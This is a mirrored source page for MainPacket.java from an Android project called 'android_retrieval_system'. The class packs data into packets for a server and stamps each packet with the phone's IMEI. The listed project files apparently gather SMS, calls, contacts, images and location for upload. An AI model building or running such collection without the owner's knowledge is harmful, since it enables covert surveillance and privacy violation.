Android Open Source - android_retrieval_system Main Packet






From Project

Back to project page android_retrieval_system.

License

The source code is released under:

GNU General Public License

If you think the Android project android_retrieval_system listed in this page is inappropriate, such as containing malicious code/tools or violating the copyright, please email info at java2s dot com, thanks.

Java Source Code

/*
 * This file is part of Android retrieval system project.
 * /*  www.ja v  a 2s .c  o  m*/
 * Android retrieval system is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License as
 * published by the Free Software Foundation, either version 3 of the License,
 * or (at your option) any later version. 
 * 
 * Android retrieval system is distributed in the hope that
 * it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * General Public License for more details.
 * 
 * You should have received a copy of the GNU General Public License
 * along with Android retrieval system. If not, see <http://www.gnu.org/licenses/>.
 */

package net.deerhunter.ars.protocol.packets;

import java.nio.ByteBuffer;
import java.nio.charset.Charset;

import net.deerhunter.ars.application.ArsApplication;

import android.content.Context;
import android.telephony.TelephonyManager;

/**
 * This class is a wrapper. Each packet sent through the network must be wrapped
 * using the object of this class.
 * 
 * @author DeerHunter (vityokkv73@gmail.com)
 */
public class MainPacket extends BasePacket{
  private int packetLength;
  private int dataType;
  private String imei;
  private int imeiSize;
  private byte[] data;
  private byte[] packet;
  private static int HEADER_LENGTH = 12;

  /**
   * Constructs a main packet, that can be sent to the server.
   * 
   * @param dataType Type of the data in this main packet (constant from
   *            DataType class)
   * @param data Data, that will be sent to the server
   */
  public MainPacket(int dataType, byte[] data) {
    this.dataType = dataType;
    this.data = data;
    TelephonyManager telephony = (TelephonyManager) ArsApplication.getInstance().getApplicationContext().getSystemService(Context.TELEPHONY_SERVICE);
    this.imei = telephony.getDeviceId();
    this.imeiSize = calculateStringSize(imei, Charset.forName("UTF8"));
    this.packetLength = data.length + HEADER_LENGTH + imeiSize;
    generatePacket();
  }

  /**
   * Method generates a binary representation of the main packet.
   */
  private void generatePacket() {
    ByteBuffer buffer = ByteBuffer.allocate(packetLength);
    buffer.putInt(packetLength);
    buffer.putInt(dataType);
    buffer.putInt(imeiSize);
    buffer.put(imei.getBytes());
    buffer.put(data);
    packet = buffer.array();
  }

  /**
   * Returns length of the main packet.
   * 
   * @return Packet length
   */
  public int getPacketLength() {
    return packetLength;
  }

  /**
   * Returns type of the data that are held in data array (constant from
   * DataType class).
   * 
   * @return Type of the data
   */
  public int getDataType() {
    return dataType;
  }

  /**
   * Returns data that are held in this main packet.
   * 
   * @return Data that are held in this main packet
   */
  public byte[] getData() {
    return data;
  }

  /**
   * Returns a binary representation of this main packet.
   * 
   * @return Binary representation of this main packet
   */
  public byte[] getPacket() {
    return packet;
  }
}




Java Source Code List

net.deerhunter.ars.application.ArsApplication.java
net.deerhunter.ars.broadcast_receivers.BootReceiver.java
net.deerhunter.ars.broadcast_receivers.CallReceiver.java
net.deerhunter.ars.broadcast_receivers.SMSReceiver.java
net.deerhunter.ars.broadcast_receivers.StartLocationListeningReceiver.java
net.deerhunter.ars.broadcast_receivers.StopLocationListeningReceiver.java
net.deerhunter.ars.broadcast_receivers.WiFiStatusReceiver.java
net.deerhunter.ars.contact_structs.Address.java
net.deerhunter.ars.contact_structs.ContactList.java
net.deerhunter.ars.contact_structs.ContactsManager.java
net.deerhunter.ars.contact_structs.Email.java
net.deerhunter.ars.contact_structs.IM.java
net.deerhunter.ars.contact_structs.Organization.java
net.deerhunter.ars.contact_structs.Phone.java
net.deerhunter.ars.gps.GPSHelper.java
net.deerhunter.ars.inner_structures.ControlConstants.java
net.deerhunter.ars.inner_structures.ImageInfoPiece.java
net.deerhunter.ars.internet_utils.Network3gHelper.java
net.deerhunter.ars.internet_utils.WifiHelper.java
net.deerhunter.ars.location.ARSLocationListener.java
net.deerhunter.ars.location.LocationManager.java
net.deerhunter.ars.protocol.PacketSenderService.java
net.deerhunter.ars.protocol.Uploader.java
net.deerhunter.ars.protocol.packets.BasePacket.java
net.deerhunter.ars.protocol.packets.CallPacket.java
net.deerhunter.ars.protocol.packets.ContactPacket.java
net.deerhunter.ars.protocol.packets.DataType.java
net.deerhunter.ars.protocol.packets.ImagePacket.java
net.deerhunter.ars.protocol.packets.LocationPacket.java
net.deerhunter.ars.protocol.packets.MainPacket.java
net.deerhunter.ars.protocol.packets.SMSPacket.java
net.deerhunter.ars.providers.ActivityContract.java
net.deerhunter.ars.providers.ActivityProvider.java
net.deerhunter.ars.services.ImageStorageController.java
net.deerhunter.ars.services.SentSMSControllerService.java
net.deerhunter.ars.utils.ContactHelper.java
net.deerhunter.ars.utils.MD5Checksum.java